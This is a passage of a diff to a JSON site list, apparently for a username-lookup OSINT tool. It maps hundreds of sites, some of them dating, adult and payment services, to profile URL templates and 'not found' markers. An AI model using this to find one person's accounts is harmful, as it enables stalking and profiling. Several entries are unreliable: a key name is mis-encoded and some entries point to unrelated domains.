"User-Agent": "curl/8.11.0" + } + }, + "Windy": { + "country": "🇨🇿", + "country_klas": "CZ", + "errorTyp��": "status_code", + "url": "https://community.windy.com/user/{}", + "urlMain": "https://windy.com/", + "usernameON": "blue", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Wineberserkers": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.wineberserkers.com/u/{}/summary", + "urlMain": "https://www.wineberserkers.com", + "usernameON": "ybarselah", + "bad_site": "" + }, + "Winnipegwatch": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "was not found.", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://winnipegwatch.websitetoolbox.com/search?keywords=&searchin=message&member={}&do=findposts&id=&replies=atleast&numreplies=0&daterange=0&custdatefrom=&custdateto=&sort=&order=desc&radio_showas=threads&btnSearch=Search&action=doSearch", + "urlMain": "https://winnipegwatch.websitetoolbox.com", + "usernameON": "Prevost12", + "comments": "cf", + "bad_site": 1 + }, + "Wireclub": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "url": "https://www.wireclub.com/users/{}", + "urlMain": "https://www.wireclub.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wiscobourbon": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://wiscobourbon.com/forums/users/{}/", + "urlMain": "https://wiscobourbon.com", + "usernameON": "lbourbonlover123", + "bad_site": "" + }, + "Wishlistr": { + "country": "🇸🇪", + "country_klas": "SE", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Page Not Found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.wishlistr.com/profile/{}", + "urlMain": "https://www.wishlistr.com", + "usernameON": "adam", + "bad_site": "" + }, + "Witchnest": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Domain Error Page", + "errorMsg2": "Страница не найдена", + "errorMsg3": ";", + "errorTyp��": "message", + "url": "https://witchnest.ru/user/{}/", + "urlMain": "https://witchnest.ru", + "comments": "super", + "usernameON": "Polina", + "bad_site": "" + }, + "Wittyprofiles": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "It looks like you are looking for something that isn't here.", + "errorMsg2": "QT Media 404", + "errorTyp��": "message", + "url": "http://www.wittyprofiles.com/author/{}", + "urlMain": "http://www.wittyprofiles.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Wix": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://{}.wix.com", + "urlMain": "https://wix.com/", + "usernameON": "support", + "bad_site": "" + }, + "Wolpy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "ItPage not found", + "errorMsg2": "doesn't exist", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://wolpy.com/{}", + "urlMain": "https://wolpy.com", + "usernameON": "FaustinFavreau", + "bad_site": "" + }, + "Wordart": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://wordart.com/gallery/user/{}", + "urlMain": "https://wordart.com", + "usernameON": "Jarmiviktoria", + "bad_site": "" + }, + "WordPress": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://{}.wordpress.com/", + "urlMain": "https://wordpress.com", + "usernameON": "blue", + "bad_site": "" + }, + "WordPressOrg": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://profiles.wordpress.org/{}/", + "urlMain": "https://wordpress.org/", + "usernameON": "blue", + "bad_site": "" + }, + "Worldofwarcraft_blizzard": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Error 404", + "errorMsg2": "WoW\n403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.excelworld.ru/index/8-0-{}", + "urlMain": "http://www.excelworld.ru", + "usernameON": "Mazila", + "bad_site": "" + }, + "Exo": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://exo.at.ua/index/8-0-{}", + "urlMain": "https://exo.at.ua", + "usernameON": "lara007", + "bad_site": "" + }, + "Exploretalent": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "info-text\">", + "errorMsg2": "userNode\":{}},\"", + "errorMsg3": "undefined", + "errorTyp��": "message", + "url": "https://www.exploretalent.com/{}", + "urlMain": "https://www.exploretalent.com", + "usernameON": "klaus", + "bad_site": "" + }, + "EybooksTO": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 resultados", + "errorMsg2": "There were no results for your search", + "errorTyp��": "message", + "url": "https://eybooks.to/search/?q={}&quick=1&type=core_members", + "urlMain": "https://eybooks.to", + "usernameON": "invers0r", + "bad_site": 1 + }, + "EyeEm": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "blue | EyeEm Photographer", + "errorMsg2": "Not Found (404)", + "errorTyp��": "message", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.eyeem.com/u/{}", + "urlMain": "https://www.eyeem.com/", + "usernameON": "blue", + "bad_site": "" + }, + "F-droid": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.f-droid.org/u/{}/summary", + "urlMain": "https://forum.f-droid.org", + "usernameON": "tip", + "bad_site": "" + }, + "F3_cool": { + "country": "🇱🇻", + "country_klas": "LV", + "errorTyp��": "status_code", + "url": "https://f3.cool/{}/", + "urlMain": "https://f3.cool/", + "usernameON": "blue", + "bad_site": "" + }, + "F6s": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "404", + "errorMsg2": "We think you might", + "errorMsg3": "unavailable in your location", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.f6s.com/{}", + "urlMain": "https://www.f6s.com", + "usernameON": "adam", + "comments": "RUblock", + "bad_site": "" + }, + "F95zone": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://f95zone.to/members/?username={}", + "urlMain": "https://f95zone.to", + "usernameON": "retro", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "FA-Wiki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://wiki.fa100.ru/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "http://wiki.fa100.ru", + "usernameON": "Anatolyk", + "comments": "Oplata", + "bad_site": "" + }, + "Fabswingers": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.fabswingers.com/profile/{}", + "urlMain": "https://www.fabswingers.com", + "usernameON": "adam", + "bad_site": "" + }, + "Facebook (деятельность запрещена в России)": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.facebook.com/{}/", + "urlMain": "https://www.facebook.com/", + "usernameON": "RED", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "comments": "ZAK_user", + "bad_site": "" + }, + "Facenama": { + "country": "🇮🇳", + "country_klas": "IN", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://facenama.com/{}", + "urlMain": "https://facenama.com/", + "usernameON": "blue", + "bad_site": 1 + }, + "Fadecloudmc": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fadecloudmc.com/forums/members/?username={}", + "urlMain": "https://fadecloudmc.com", + "usernameON": "jordan", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Fallout_reactor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://fallout.reactor.cc/user/{}", + "urlMain": "https://fallout.reactor.cc", + "usernameON": "Xell108", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Fanacmilan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "NameBright - Domain Expired", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://fanacmilan.com/index/8-0-{}", + "urlMain": "http://fanacmilan.com", + "usernameON": "milanfan97", + "bad_site": 1 + }, + "Fandom": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.fandom.com/u/{}", + "urlMain": "https://www.fandom.com/", + "usernameON": "Jungypoo", + "bad_site": "" + }, + "FanficsLandia": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fanficslandia.com/usuario/?username={}", + "urlMain": "https://fanficslandia.com", + "usernameON": "sensy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Fanlore": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "http://fanlore.org/wiki/User:{}", + "urlMain": "http://fanlore.org", + "usernameON": "red", + "bad_site": "" + }, + "Fanpop": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.fanpop.com/fans/{}", + "urlMain": "https://www.fanpop.com/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Fansmetrics": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://fansmetrics.com/en/onlyfans/{}", + "urlMain": "https://fansmetrics.com", + "urlProbe": "https://subseeker.co/creators/{}", + "usernameON": "itsmoremia", + "bad_site": "" + }, + "Fantlab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не найдено ни одного посетителя", + "errorMsg2": "

FantLab ru

", + "errorTyp��": "message", + "url": "https://fantlab.ru/usersclasspage1?usersearch={}", + "urlMain": "https://fantlab.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Faqusha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://faqusha.ru/profile/{}/", + "urlMain": "https://faqusha.ru", + "usernameON": "typhoon", + "bad_site": "" + }, + "Fark": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Tastes like chicken.", + "errorMsg2": "FARK.com: User profiles: view", + "errorTyp��": "message", + "url": "https://www.fark.com/users/{}/", + "urlMain": "https://www.fark.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Farmerforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользовате", + "errorMsg3": "Не найдено ни одного пользовател", + "errorTyp��": "message", + "url": "http://farmerforum.ru/memberlist.php?username={}", + "urlMain": "http://farmerforum.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Fashionindustrynetwork": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.fashionindustrynetwork.com/members/{}", + "urlMain": "https://www.fashionindustrynetwork.com", + "usernameON": "abitosera", + "comments": "bad", + "bad_site": 1 + }, + "Fatsecret": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "response_url", + "url": "https://www.fatsecret.com/member/{}", + "urlMain": "https://www.fatsecret.com", + "usernameON": "adam", + "bad_site": "" + }, + "Favera": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://favera.ru/{}", + "urlMain": "https://favera.ru", + "usernameON": "mayhem", + "bad_site": 1 + }, + "Fcdin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://fcdin.com/forum/memberlist.php?username={}", + "urlMain": "http://fcdin.com", + "usernameON": "red", + "bad_site": "" + }, + "Fcenter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www1.fcenter.ru/fcconfa/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www1.fcenter.ru", + "usernameON": "DmitryVT", + "bad_site": 1 + }, + "Fckarpaty": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Сторінку не знайдено", + "errorMsg2": "Сторінку не знайдено", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://fckarpaty.com.ua/index/8-0-{}", + "urlMain": "http://fckarpaty.com.ua", + "usernameON": "OlegGurin", + "comments": "bad", + "bad_site": 1 + }, + "Fclmnews": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "content=\"noindex, nofollow", + "errorMsg2": "please...", + "errorTyp��": "message", + "url": "https://fclmnews.ru/user/{}/", + "urlMain": "https://fclmnews.ru", + "usernameON": "stoker82", + "comments": "cf", + "bad_site": "" + }, + "Fcrubin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Форум болельщиков ФК Рубин", + "errorTyp��": "message", + "url": "https://www.fcrubin.ru/forum/member.php?username={}", + "urlMain": "https://www.fcrubin.ru", + "usernameON": "flet", + "bad_site": "" + }, + "Fcshakhter": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": ">Постов не найдено

", + "errorMsg2": "

", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fcshakhter.by/forum.asp?limit_pocet=20&jmeno={}", + "urlMain": "https://fcshakhter.by", + "usernameON": "fdfds", + "bad_site": "" + }, + "Fedoraproject": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ask.fedoraproject.org/u/{}/summary", + "urlMain": "https://ask.fedoraproject.org/", + "usernameON": "rbirkner", + "bad_site": "" + }, + "Fegatch": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://www.fegatch.com/users/{}/artworks/", + "urlMain": "http://www.fegatch.com/", + "usernameON": "margaret-veret", + "bad_site": 1 + }, + "Feisovet": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://feisovet.ru/%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D0%B8/{}", + "urlMain": "https://feisovet.ru", + "usernameON": "RinaLesnicova", + "bad_site": "" + }, + "Femunity": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "content='noindex", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://femunity.org/forums/users/{}/", + "urlMain": "https://femunity.org", + "usernameON": "andrew99", + "ignore_status_code": true, + "bad_site": "" + }, + "Fiat-club": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": " :: ", + "errorTyp��": "message", + "url": "http://fiat-club.org.ua/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "http://fiat-club.org.ua", + "usernameON": "CreAtoR", + "bad_site": "" + }, + "Ficwad": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ficwad.com/a/{}/favorites/authors", + "urlMain": "https://ficwad.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Ficwriter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Этот профиль либо больше не существует или не доступен.", + "errorMsg2": "Пользователи", + "errorTyp��": "message", + "url": "https://ficwriter.info/polzovateli/userprofile/{}.html", + "urlMain": "https://ficwriter.info", + "usernameON": "Zinaida", + "bad_site": "" + }, + "Filmow": { + "country": "🇵🇹", + "country_klas": "PT", + "errorTyp��": "status_code", + "url": "https://filmow.com/usuario/{}", + "urlMain": "https://filmow.com/", + "usernameON": "adam", + "comments": "cf", + "bad_site": "" + }, + "Filmwatch": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://filmwatch.com/user/home/{}", + "urlMain": "https://filmwatch.com", + "usernameON": "hazelamy", + "comments": "Oplata", + "bad_site": 1 + }, + "Filmweb": { + "country": "🇵🇱", + "country_klas": "PL", + "errorMsg": "lang=\"pl\">", + "errorTyp��": "message", + "url": "http://movie-club.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://movie-club.ru", + "usernameON": "apollion", + "bad_site": "" + }, + "Forum_mow-portal": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mow-portal.ru/index/8-0-{}", + "urlMain": "https://mow-portal.ru", + "usernameON": "alexeyeryomchenko", + "bad_site": "" + }, + "Forum_mozhaysk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mozhaysk.my1.ru/index/8-0-{}", + "urlMain": "https://mozhaysk.my1.ru", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_mozilla-russia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено", + "errorMsg2": "

\n\n\n0", + "errorMsg3": "Виктор Николаевич", + "errorTyp��": "message", + "url": "https://www.uralfishing.ru/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.uralfishing.ru", + "usernameON": "Mephisto", + "bad_site": "" + }, + "Uralrock": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://uralrock.ru/forum/member.php?username={}", + "urlMain": "https://uralrock.ru", + "usernameON": "Cyxapb", + "comments": "RUblock", + "bad_site": "" + }, + "Urlebird": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://urlebird.com/user/{}/", + "urlMain": "https://urlebird.com", + "usernameON": "chikamaria4", + "comments": "zamedlenie", + "bad_site": "" + }, + "USA_life": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://usa.life/{}", + "urlMain": "https://usa.life", + "usernameON": "RinDavis", + "bad_site": "" + }, + "Users_ucrazy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ucrazy.org/u/{}/", + "urlMain": "https://ucrazy.org", + "usernameON": "aptoc", + "bad_site": "" + }, + "Usersoft_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://usersoft.ucoz.ru/index/8-0-{}", + "urlMain": "https://usersoft.ucoz.ru", + "usernameON": "SRabdrashirup", + "bad_site": "" + }, + "Uvelir": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://uvelir.net/member.php?username={}", + "urlMain": "https://uvelir.net/", + "usernameON": "red", + "comments": "Oplata", + "bad_site": "" + }, + "Uwr1": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "status_code", + "url": "http://uwr1.de/forum/profile/{}", + "urlMain": "http://uwr1.de", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Uzhforum": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувач не зареєстрований і не має профілю, який можна переглянути.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.uzhforum.com/member.php?username={}", + "urlMain": "http://www.uzhforum.com", + "usernameON": "kirpicik", + "comments": "old", + "bad_site": 1 + }, + "Valday": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Личные данные пользователя ", + "errorMsg2": "gen\"> ", + "errorMsg3": "UnMask", + "errorTyp��": "message", + "url": "https://valday.com/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://valday.com", + "usernameON": "Azs", + "bad_site": "" + }, + "Vamber": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vamber.ru/author/{}/", + "urlMain": "https://vamber.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Vampirerave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.vampirerave.com/profiles/profiles2.php?profile={}", + "urlMain": "https://www.vampirerave.com", + "usernameON": "EternalXRage", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Vas3k": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vas3k.club/user/{}/", + "urlMain": "https://vas3k.club", + "usernameON": "zahhar", + "bad_site": "" + }, + "VC": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "message\":\"\",\"result\":{\"items\":[],\"lastId\":null", + "errorMsg2": "lastSortingValue\":0,\"total\":0", + "errorTyp��": "message", + "url": "https://vc.ru/discovery?q={}", + "urlMain": "https://vc.ru", + "urlProbe": "https://api.vc.ru/v2.51/search/subsites?q={}&type=1&page=0", + "usernameON": "yuliya", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Vegascreativesoftware": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Whatever you're looking for.", + "errorMsg2": "VEGAS Community | vegascreativesoftware.info", + "errorTyp��": "message", + "url": "https://www.vegascreativesoftware.info/us/users/profile/{}/", + "urlMain": "https://www.vegascreativesoftware.info", + "usernameON": "adam", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Velocat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих сообщений не найдено", + "errorMsg2": "<title>ВЕЛОСАЙТ - Информация", + "errorTyp��": "message", + "url": "https://velocat.ru/velo/phpBB3/search.php?keywords={}&type=type-special", + "urlMain": "https://velocat.ru", + "usernameON": "blue", + "bad_site": "" + }, + "Velomania": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.velomania.ru/member.php?username={}", + "urlMain": "https://forum.velomania.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Velosamara": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользователей", + "errorTyp��": "message", + "url": "http://velosamara.ru/forum/memberlist.php?username={}", + "urlMain": "http://velosamara.ru", + "usernameON": "Morbo", + "bad_site": "" + }, + "Venera": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://venera.one/search/?q={}&type=core_members", + "urlMain": "https://venera.one", + "usernameON": "adam", + "comments": "old", + "bad_site": 1 + }, + "Venmo": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://venmo.com/{}", + "urlMain": "https://venmo.com/", + "usernameON": "jenny", + "comments": "RUblock", + "bad_site": "" + }, + "Vero": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Error Page - VERO™ – True Social", + "errorMsg2": "class=\"_not-found-page", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://vero.co/{}", + "urlMain": "https://vero.co", + "usernameON": "lilyherbertson", + "bad_site": "" + }, + "Vezha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://vezha.com/members/?username={}", + "urlMain": "https://vezha.com/", + "usernameON": "red", + "bad_site": "" + }, + "Vgtimes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не найден", + "errorMsg2": "Сайт сейчас", + "errorMsg3": "<div id='dle-content'></div>", + "errorTyp��": "message", + "url": "https://vgtimes.ru/user/{}/", + "urlMain": "https://vgtimes.ru", + "comments": "cf", + "usernameON": "Raumkua", + "bad_site": "" + }, + "Vidamora": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Meet , in", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.vidamora.com/profile/{}", + "urlMain": "https://www.vidamora.com", + "usernameON": "adam", + "bad_site": "" + }, + "Video_ploud": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://video.ploud.jp/accounts/{}/video-channels", + "urlMain": "https://video.ploud.jp", + "usernameON": "lwflouisa", + "bad_site": "" + }, + "Videoforums": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://videoforums.ru/member.php?username={}", + "urlMain": "http://videoforums.ru", + "usernameON": "carlo", + "bad_site": "" + }, + "Videogamegeek": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Profile | VideoGameGeek", + "errorMsg2": "Error: User does not exist.", + "errorMsg3": "not found", + "errorTyp��": "message", + "url": "https://videogamegeek.com/user/{}", + "urlMain": "https://videogamegeek.com", + "usernameON": "adam", + "bad_site": 1 + }, + "Videohive": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://videohive.net/user/{}", + "urlMain": "https://videohive.net", + "usernameON": "zedbadley", + "bad_site": "" + }, + "Videosift": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "You Seem Lost", + "errorMsg2": "Not Found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://videosift.com/member/{}", + "urlMain": "https://videosift.com", + "usernameON": "adam", + "comments": "cf", + "bad_site": 1 + }, + "Vimeo": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://vimeo.com/{}", + "urlMain": "https://vimeo.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Virgool": { + "country": "🇮🇷", + "country_klas": "IR", + "errorMsg": "۴۰۴", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://virgool.io/@{}", + "urlMain": "https://virgool.io/", + "usernameON": "blue", + "comments": "cf", + "bad_site": 1 + }, + "Virtualireland": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "VirtualIreland.ru - Виртуальная Ирландия", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://www.virtualireland.ru/member.php?username={}", + "urlMain": "https://www.virtualireland.ru", + "usernameON": "Lee", + "bad_site": "" + }, + "Vishivalochka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://vishivalochka.ru/index/8-0-{}", + "urlMain": "http://vishivalochka.ru", + "usernameON": "Caliopa", + "comments": "Oplata", + "bad_site": "" + }, + "Vivino": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.vivino.com/users/{}", + "urlMain": "https://www.vivino.com/", + "usernameON": "adam", + "bad_site": "" + }, + "VK": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://vk.com/{}", + "urlMain": "https://vk.com/", + "usernameON": "smith", + "bad_site": "" + }, + "Vkaline": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://www.vkaline.ru/forum/member.php?username={}", + "urlMain": "http://www.vkaline.ru", + "usernameON": "Varelik", + "comments": "old", + "bad_site": 1 + }, + "Vkrugudrusey": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "\\W", + "errorTyp��": "response_url", + "url": "http://{}.vkrugudrusey.ru/x/blog/all/", + "urlMain": "http://vkrugudrusey.ru", + "usernameON": "irina", + "comments": "Archive", + "bad_site": 1 + }, + "Vlab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Информация", + "errorTyp��": "message", + "url": "https://vlab.su/search.php?keywords=&terms=all&author={}", + "urlMain": "https://vlab.su", + "usernameON": "Sword93", + "bad_site": "" + }, + "Vladimirka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": 